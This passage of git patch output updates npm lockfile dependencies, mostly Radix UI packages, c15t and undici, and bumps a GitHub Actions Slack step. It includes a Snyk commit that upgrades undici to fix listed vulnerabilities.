"node_modules/@radix-ui/react-collapsible": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/@radix-ui/react-collapsible/-/react-collapsible-1.1.4.tgz", - "integrity": "sha512-u7LCw1EYInQtBNLGjm9nZ89S/4GcvX1UR5XbekEgnQae2Hkpq39ycJ1OhdeN1/JDfVNG91kWaWoest127TaEKQ==", + "node_modules/@radix-ui/react-accordion/node_modules/@radix-ui/primitive": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.1.3.tgz", + "integrity": "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg==", + "license": "MIT" + }, + "node_modules/@radix-ui/react-accordion/node_modules/@radix-ui/react-primitive": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz", + "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.2", + "@radix-ui/react-slot": "1.2.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-accordion/node_modules/@radix-ui/react-slot": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", + "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-accordion/node_modules/@radix-ui/react-use-controllable-state": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.2.2.tgz", + "integrity": "sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-use-effect-event": "0.0.2", + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-collapsible": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/@radix-ui/react-collapsible/-/react-collapsible-1.1.12.tgz", + "integrity": "sha512-Uu+mSh4agx2ib1uIGPP4/CKNULyajb3p92LsVXmH2EHVMTfZWpll88XJ0j4W0z3f8NK1eYl1+Mf/szHPmcHzyA==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-id": "1.1.1", - "@radix-ui/react-presence": "1.1.3", - "@radix-ui/react-primitive": "2.0.3", - "@radix-ui/react-use-controllable-state": "1.1.1", + "@radix-ui/react-presence": "1.1.5", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { @@ -3652,16 +3773,19 @@ } } }, - "node_modules/@radix-ui/react-collection": { + "node_modules/@radix-ui/react-collapsible/node_modules/@radix-ui/primitive": { "version": "1.1.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-collection/-/react-collection-1.1.3.tgz", - "integrity": "sha512-mM2pxoQw5HJ49rkzwOs7Y6J4oYH22wS8BfK2/bBxROlI4xuR0c4jEenQP63LlTlDkO6Buj2Vt+QYAYcOgqtrXA==", + "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.1.3.tgz", + "integrity": "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg==", + "license": "MIT" + }, + "node_modules/@radix-ui/react-collapsible/node_modules/@radix-ui/react-primitive": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz", + "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==", "license": "MIT", "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-primitive": "2.0.3", - "@radix-ui/react-slot": "1.2.0" + "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", @@ -3678,6 +3802,110 @@ } } }, + "node_modules/@radix-ui/react-collapsible/node_modules/@radix-ui/react-slot": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", + "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-collapsible/node_modules/@radix-ui/react-use-controllable-state": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.2.2.tgz", + "integrity": "sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-use-effect-event": "0.0.2", + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-collection": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/@radix-ui/react-collection/-/react-collection-1.1.7.tgz", + "integrity": "sha512-Fh9rGN0MoI4ZFUNyfFVNU4y9LUz93u9/0K+yLgA2bwRojxM8JU1DyvvMBabnZPBgMWREAJvU2jjVzq+LrFUglw==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-slot": "1.2.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-collection/node_modules/@radix-ui/react-primitive": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz", + "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-slot": "1.2.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-collection/node_modules/@radix-ui/react-slot": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", + "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, "node_modules/@radix-ui/react-compose-refs": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.1.2.tgz", @@ -3742,9 +3970,9 @@ } }, "node_modules/@radix-ui/react-presence": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.1.3.tgz", - "integrity": "sha512-IrVLIhskYhH3nLvtcBLQFZr61tBG7wx7O3kEmdzcYwRGAEBmBicGGL7ATzNgruYJ3xBTbuzEEq9OXJM3PAX3tA==", + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.1.5.tgz", + "integrity": "sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ==", "license": "MIT", "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", @@ -3868,6 +4096,24 @@ } } }, + "node_modules/@radix-ui/react-use-effect-event": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-effect-event/-/react-use-effect-event-0.0.2.tgz", + "integrity": "sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, "node_modules/@radix-ui/react-use-layout-effect": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.1.1.tgz", @@ -3917,9 +4163,9 @@ } }, "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.55.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.55.1.tgz", - "integrity": "sha512-a8G4wiQxQG2BAvo+gU6XrReRRqj+pLS2NGXKm8io19goR+K8lw269eTrPkSdDTALwMmJp4th2Uh0D8J9bEV1vg==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz", + "integrity": "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg==", "cpu": [ "x64" ], @@ -5312,16 +5558,16 @@ } }, "node_modules/c15t": { - "version": "1.8.2", - "resolved": "https://registry.npmjs.org/c15t/-/c15t-1.8.2.tgz", - "integrity": "sha512-oy4PN+NL7PnlngBu5S0LFOO3pCnXTMZjJc/FG3OcJBwiVZ/+gsu5WhikB0eth3I9X8du1DYn216woX1iI25Mgg==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/c15t/-/c15t-1.8.5.tgz", + "integrity": "sha512-FaZkXkwsTL70f7/n2OVYK2/aA89sKQp0vp9VytCTcN9J5GrBki86tRJ9Oz+c5gJoPeJ0TMqnSPiOP4gL0T7rGg==", "license": "GPL-3.0-only", "dependencies": { - "@c15t/backend": "1.8.0", - "@c15t/translations": "1.8.0", - "@orpc/client": "1.8.1", - "@orpc/server": "1.8.1", - "zustand": "^5.0.3" + "@c15t/backend": "1.8.5", + "@c15t/translations": "1.8.5", + "@orpc/client": "1.13.6", + "@orpc/server": "1.13.6", + "zustand": "^5.0.11" } }, "node_modules/cacheable-lookup": { @@ -6059,9 +6305,9 @@ } }, "node_modules/dayjs": { - "version": "1.11.19", - "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.19.tgz", - "integrity": "sha512-t5EcLVS6QPBNqM2z8fakk/NKel+Xzshgt8FFKAn+qwlD1pzZWxh0nVCrvFK7ZDb6XucZeF9z8C7CBWTRIVApAw==", + "version": "1.11.20", + "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.20.tgz", + "integrity": "sha512-YbwwqR/uYpeoP4pu043q+LTDLFBLApUP6VxRihdfNTqu4ubqMlGDLd6ErXhEgsyvY0K6nCs7nggYumAN+9uEuQ==", "license": "MIT", "peer": true }, @@ -6126,9 +6372,9 @@ } }, "node_modules/dedent": { - "version": "1.7.1", - "resolved": "https://registry.npmjs.org/dedent/-/dedent-1.7.1.tgz", - "integrity": "sha512-9JmrhGZpOlEgOLdQgSm0zxFaYoQon408V1v49aqTWuXENVlnCuY9JBZcXZiCsZQWDjTm5Qf/nIvAy77mXDAjEg==", + "version": "1.7.2", + "resolved": "https://registry.npmjs.org/dedent/-/dedent-1.7.2.tgz", + "integrity": "sha512-WzMx3mW98SN+zn3hgemf4OzdmyNhhhKz5Ay0pUfQiMQ3e1g+xmTJWp/pKdwKVXhdSkAEGIIzqeuWrL3mV/AXbA==", "license": "MIT", "peer": true, "peerDependencies": { @@ -7551,27 +7797,27 @@ } }, "node_modules/fumadb/node_modules/commander": { - "version": "14.0.2", - "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.2.tgz", - "integrity": "sha512-TywoWNNRbhoD0BXs1P3ZEScW8W5iKrnbithIl0YH+uCmBd0QpPOA8yc82DS3BIE5Ma6FnBVUsJ7wVUDz4dvOWQ==", + "version": "14.0.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.3.tgz", + "integrity": "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw==", "license": "MIT", "engines": { "node": ">=20" } }, "node_modules/fumadb/node_modules/kysely": { - "version": "0.28.9", - "resolved": "https://registry.npmjs.org/kysely/-/kysely-0.28.9.tgz", - "integrity": "sha512-3BeXMoiOhpOwu62CiVpO6lxfq4eS6KMYfQdMsN/2kUCRNuF2YiEr7u0HLHaQU+O4Xu8YXE3bHVkwaQ85i72EuA==", + "version": "0.28.11", + "resolved": "https://registry.npmjs.org/kysely/-/kysely-0.28.11.tgz", + "integrity": "sha512-zpGIFg0HuoC893rIjYX1BETkVWdDnzTzF5e0kWXJFg5lE0k1/LfNWBejrcnOFu8Q2Rfq/hTDTU7XLUM8QOrpzg==", "license": "MIT", "engines": { "node": ">=20.0.0" } }, "node_modules/fumadb/node_modules/zod": { - "version": "4.3.5", - "resolved": "https://registry.npmjs.org/zod/-/zod-4.3.5.tgz", - "integrity": "sha512-k7Nwx6vuWx1IJ9Bjuf4Zt1PEllcwe7cls3VNzm4CQ1/hgtFUK2bRNG3rvnpPUhFjmqJKAKtjV576KnUkHocg/g==", + "version": "4.3.6", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.3.6.tgz", + "integrity": "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg==", "license": "MIT", "funding": { "url": "https://github.com/sponsors/colinhacks" @@ -7733,6 +7979,7 @@ "version": "10.5.0", "resolved": "https://registry.npmjs.org/glob/-/glob-10.5.0.tgz", "integrity": "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==", + "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", "license": "ISC", "peer": true, "dependencies": { @@ -7774,13 +8021,13 @@ } }, "node_modules/glob/node_modules/minimatch": { - "version": "9.0.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", - "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "version": "9.0.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz", + "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", "license": "ISC", "peer": true, "dependencies": { - "brace-expansion": "^2.0.1" + "brace-expansion": "^2.0.2" }, "engines": { "node": ">=16 || 14 >=14.17" @@ -7790,10 +8037,10 @@ } }, "node_modules/glob/node_modules/minipass": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz", - "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==", - "license": "ISC", + "version": "7.1.3", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz", + "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==", + "license": "BlueOak-1.0.0", "peer": true, "engines": { "node": ">=16 || 14 >=14.17" @@ -8478,9 +8725,9 @@ } }, "node_modules/import-in-the-middle": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/import-in-the-middle/-/import-in-the-middle-2.0.4.tgz", - "integrity": "sha512-Al0kMpa0BqfvDnxjxGlab9vdQ0vTDs82TBKrD59X9jReUoPAzSGBb6vGDzMUMFBGyyDF03RpLT4oxGn6BpASzQ==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/import-in-the-middle/-/import-in-the-middle-3.0.0.tgz", + "integrity": "sha512-OnGy+eYT7wVejH2XWgLRgbmzujhhVIATQH0ztIeRilwHBjTeG3pD+XnH3PKX0r9gJ0BuJmJ68q/oh9qgXnNDQg==", "license": "Apache-2.0", "peer": true, "dependencies": { @@ -8488,6 +8735,9 @@ "acorn-import-attributes": "^1.9.5", "cjs-module-lexer": "^2.2.0", "module-details-from-path": "^1.0.4" + }, + "engines": { + "node": ">=18" } }, "node_modules/indent-string": { @@ -9381,6 +9631,12 @@ "dev": true, "license": "MIT" }, + "node_modules/json-schema-typed": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/json-schema-typed/-/json-schema-typed-8.0.2.tgz", + "integrity": "sha512-fQhoXdcvc3V28x7C7BMs4P5+kNlgUURe2jmUT1T//oBRMDrqy1QPelJimwZGo7Hg9VPV3EQV5Bnq4hbFy2vetA==", + "license": "BSD-2-Clause" + }, "node_modules/jsonc-parser": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/jsonc-parser/-/jsonc-parser-2.2.1.tgz", @@ -13654,6 +13910,7 @@ "version": "4.41.0", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz", "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==", + "dev": true, "license": "(MIT OR CC0-1.0)", "engines": { "node": ">=16" @@ -14744,9 +15001,9 @@ } }, "node_modules/zustand": { - "version": "5.0.10", - "resolved": "https://registry.npmjs.org/zustand/-/zustand-5.0.10.tgz", - "integrity": "sha512-U1AiltS1O9hSy3rul+Ub82ut2fqIAefiSuwECWt6jlMVUGejvf+5omLcRBSzqbRagSM3hQZbtzdeRc6QVScXTg==", + "version": "5.0.11", + "resolved": "https://registry.npmjs.org/zustand/-/zustand-5.0.11.tgz", + "integrity": "sha512-fdZY+dk7zn/vbWNCYmzZULHRrss0jx5pPFiOuMZ/5HJN6Yv3u+1Wswy/4MpZEkEGhtNH+pwxZB8OKgUBPzYAGg==", "license": "MIT", "engines": { "node": ">=12.20.0" diff --git a/docs/package.json b/docs/package.json index d24eb00fd..b8693dfaa 100644 --- a/docs/package.json +++ b/docs/package.json @@ -16,7 +16,7 @@ "mintlify": "^4.2.3" }, "dependencies": { - "@c15t/react": "^1.8.2", + "@c15t/react": "^1.8.5", "axios": "^1.13.5", "tar-fs": "^3.1.1" } From 31c4ecc5531e1925424327333038071b7660d65d Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 13 Mar 2026 12:16:57 -0700 Subject: [PATCH 09/66] chore(deps): bump slackapi/slack-github-action from 2.1.1 to 3.0.1 (#11376) Bumps [slackapi/slack-github-action](https://github.com/slackapi/slack-github-action) from 2.1.1 to 3.0.1. - [Release notes](https://github.com/slackapi/slack-github-action/releases) - [Commits](https://github.com/slackapi/slack-github-action/compare/v2.1.1...v3.0.1) --- updated-dependencies: - dependency-name: slackapi/slack-github-action dependency-version: 3.0.1 dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- .github/workflows/metrics.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/metrics.yaml b/.github/workflows/metrics.yaml index 45fddbc07..6b0708af3 100644 --- a/.github/workflows/metrics.yaml +++ b/.github/workflows/metrics.yaml @@ -52,7 +52,7 @@ jobs: echo "metrics_content=$content" >> "$GITHUB_OUTPUT" - name: Post a message in a channel - uses: slackapi/slack-github-action@v2.1.1 + uses: slackapi/slack-github-action@v3.0.1 with: webhook: ${{ secrets.ISSUE_PR_METRICS_SLACK_WEBHOOK_URL }} webhook-type: incoming-webhook From 72735f30d049e4ee72d5d40fcf7be6f4b90dcb2c Mon Sep 17 00:00:00 2001 From: Nate Sesti <33237525+sestinj@users.noreply.github.com> Date: Fri, 13 Mar 2026 12:29:19 -0700 Subject: [PATCH 10/66] [Snyk] Security upgrade undici from 6.21.3 to 6.24.0 (#11397) * fix: extensions/vscode/package.json to reduce vulnerabilities The following vulnerabilities are fixed with an upgrade: - https://snyk.io/vuln/SNYK-JS-UNDICI-15518061 - https://snyk.io/vuln/SNYK-JS-UNDICI-15518064 - https://snyk.io/vuln/SNYK-JS-UNDICI-15518068 - https://snyk.io/vuln/SNYK-JS-UNDICI-15518070 - https://snyk.io/vuln/SNYK-JS-UNDICI-15518072 * chore: undicci update --------- Co-authored-by: snyk-bot Co-authored-by: Dallin Romney --- extensions/vscode/package-lock.json | 97 ++++++++++++++--------------- extensions/vscode/package.json | 2 +- 2 files changed, 49 insertions(+), 50 deletions(-) diff --git a/extensions/vscode/package-lock.json b/extensions/vscode/package-lock.json index d499724e8..ddabb2897 100644 --- a/extensions/vscode/package-lock.json +++ b/extensions/vscode/package-lock.json @@ -1,12 +1,12 @@ { "name": "continue", - "version": "1.3.32", + "version": "1.3.33", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "continue", - "version": "1.3.32", + "version": "1.3.33", "license": "Apache-2.0", "dependencies": { "@continuedev/config-types": "file:../../packages/config-types", @@ -50,7 +50,7 @@ "svg-builder": "^2.0.0", "systeminformation": "^5.30.8", "tailwindcss": "^3.3.2", - "undici": "^6.21.3", + "undici": "^6.24.0", "uuid": "^9.0.1", "uuidv4": "^6.2.13", "vectordb": "0.4.20", @@ -116,7 +116,7 @@ "@sentry/core": "^9.43.0", "@sentry/esbuild-plugin": "^4.0.2", "@sentry/node": "^9.43.0", - "@sentry/vite-plugin": "^4.0.2", + "@sentry/vite-plugin": "^5.0.0", "@xenova/transformers": "2.14.0", "adf-to-md": "^1.1.0", "async-mutex": "^0.5.0", @@ -164,7 +164,7 @@ "sqlite": "^5.1.1", "sqlite3": "^5.1.7", "system-ca": "^1.0.3", - "tar": "^7.4.3", + "tar": "^7.5.10", "tree-sitter-wasms": "^0.1.11", "untildify": "^6.0.0", "uuid": "^9.0.1", @@ -7723,6 +7723,18 @@ } } }, + "node_modules/inquirer/node_modules/@types/node": { + "version": "25.4.0", + "resolved": "https://registry.npmjs.org/@types/node/-/node-25.4.0.tgz", + "integrity": "sha512-9wLpoeWuBlcbBpOY3XmzSTG3oscB6xjBEEtn+pYXTfhyXhIxC5FsBer2KTopBlvKEiW9l13po9fq+SJY/5lkhw==", + "dev": true, + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "undici-types": "~7.18.0" + } + }, "node_modules/inquirer/node_modules/ansi-regex": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", @@ -7746,6 +7758,15 @@ "node": ">=8" } }, + "node_modules/inquirer/node_modules/undici-types": { + "version": "7.18.2", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.18.2.tgz", + "integrity": "sha512-/NtXf+S+BCQW/eOkxE5vKgDWr6T2GDn00K5hNT5ynDGKjxC/s3yDG6ow7FdI8OMOGiYtglD05p0qkCYhUq5yog==", + "dev": true, + "license": "MIT", + "optional": true, + "peer": true + }, "node_modules/ip-address": { "version": "9.0.5", "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-9.0.5.tgz", @@ -13583,10 +13604,9 @@ "dev": true }, "node_modules/undici": { - "version": "6.21.3", - "resolved": "https://registry.npmjs.org/undici/-/undici-6.21.3.tgz", - "integrity": "sha512-gBLkYIlEnSp8pFbT64yFgGE6UIB9tAkhukC23PmMDCe5Nd+cRqKxSjw5y54MK2AZMgZfJWMaNE4nYUHgi1XEOw==", - "license": "MIT", + "version": "6.24.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-6.24.0.tgz", + "integrity": "sha512-lVLNosgqo5EkGqh5XUDhGfsMSoO8K0BAN0TyJLvwNRSl4xWGZlCVYsAIpa/OpA3TvmnM01GWcoKmc3ZWo5wKKA==", "engines": { "node": ">=18.17" } @@ -14413,6 +14433,17 @@ "node": ">=18" } }, + "node_modules/vite-node/node_modules/@types/node": { + "version": "25.4.0", + "resolved": "https://registry.npmjs.org/@types/node/-/node-25.4.0.tgz", + "integrity": "sha512-9wLpoeWuBlcbBpOY3XmzSTG3oscB6xjBEEtn+pYXTfhyXhIxC5FsBer2KTopBlvKEiW9l13po9fq+SJY/5lkhw==", + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "undici-types": "~7.18.0" + } + }, "node_modules/vite-node/node_modules/debug": { "version": "4.4.1", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.1.tgz", @@ -14535,6 +14566,14 @@ "fsevents": "~2.3.2" } }, + "node_modules/vite-node/node_modules/undici-types": { + "version": "7.18.2", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.18.2.tgz", + "integrity": "sha512-/NtXf+S+BCQW/eOkxE5vKgDWr6T2GDn00K5hNT5ynDGKjxC/s3yDG6ow7FdI8OMOGiYtglD05p0qkCYhUq5yog==", + "license": "MIT", + "optional": true, + "peer": true + }, "node_modules/vite-node/node_modules/vite": { "version": "6.3.5", "resolved": "https://registry.npmjs.org/vite/-/vite-6.3.5.tgz", @@ -16768,46 +16807,6 @@ "funding": { "url": "https://github.com/sponsors/sindresorhus" } - }, - "node_modules/inquirer/node_modules/@types/node": { - "version": "25.4.0", - "resolved": "https://registry.npmjs.org/@types/node/-/node-25.4.0.tgz", - "integrity": "sha512-9wLpoeWuBlcbBpOY3XmzSTG3oscB6xjBEEtn+pYXTfhyXhIxC5FsBer2KTopBlvKEiW9l13po9fq+SJY/5lkhw==", - "dev": true, - "license": "MIT", - "optional": true, - "peer": true, - "dependencies": { - "undici-types": "~7.18.0" - } - }, - "node_modules/inquirer/node_modules/undici-types": { - "version": "7.18.2", - "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.18.2.tgz", - "integrity": "sha512-/NtXf+S+BCQW/eOkxE5vKgDWr6T2GDn00K5hNT5ynDGKjxC/s3yDG6ow7FdI8OMOGiYtglD05p0qkCYhUq5yog==", - "dev": true, - "license": "MIT", - "optional": true, - "peer": true - }, - "node_modules/vite-node/node_modules/@types/node": { - "version": "25.4.0", - "resolved": "https://registry.npmjs.org/@types/node/-/node-25.4.0.tgz", - "integrity": "sha512-9wLpoeWuBlcbBpOY3XmzSTG3oscB6xjBEEtn+pYXTfhyXhIxC5FsBer2KTopBlvKEiW9l13po9fq+SJY/5lkhw==", - "license": "MIT", - "optional": true, - "peer": true, - "dependencies": { - "undici-types": "~7.18.0" - } - }, - "node_modules/vite-node/node_modules/undici-types": { - "version": "7.18.2", - "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.18.2.tgz", - "integrity": 